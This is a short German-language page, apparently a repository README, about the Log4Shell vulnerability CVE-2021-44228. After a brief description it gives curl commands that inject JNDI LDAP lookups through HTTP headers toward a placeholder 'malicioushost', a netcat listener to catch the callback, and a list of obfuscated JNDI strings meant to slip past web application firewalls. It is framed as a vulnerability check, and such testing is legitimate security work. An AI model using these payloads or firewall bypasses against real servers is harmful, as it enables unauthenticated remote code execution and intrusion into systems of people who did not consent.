log4j-CVE-2021-44228

Am 5. Dezember 2021 identifizierte Apache eine Schwachstelle (später als CVE-2021-44228 identifiziert) in ihrem weit verbreiteten Log4j-Logging-Dienst. Die Schwachstelle, auch bekannt als Log4shell, ermöglicht Angreifern die vollständige Kontrolle über betroffene Server, da sie nicht authentifizierte Remote-Codeausführung erlaubt, wenn der Benutzer eine Anwendung ausführt, die die Java-Logging-Bibliothek verwendet. Log4j ist stark in eine breite Palette von DevOps-Frameworks, Unternehmens-IT-Systemen sowie Herstellersoftware und Cloud-Produkten integriert.

Führen Sie Folgendes auf dem schädlichen Remote-Host aus, um zu überprüfen, ob Ihr Server anfällig für den Log4j-Exploit ist

curl vulnserver:port -H 'X-Api-Version: ${jndi:ldap://malicioushost:mport/a}'

nc -lnvp mport

Andere Varianten, die eine HTTP-POST-Anfrage beinhalten, können verwendet werden, um die Schwachstelle zu überprüfen

curl -H 'User-Agent: ${jndi:ldap://malicioushost:mport/a}' vulnserver:port

Um die Web-App-Firewall zu umgehen

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}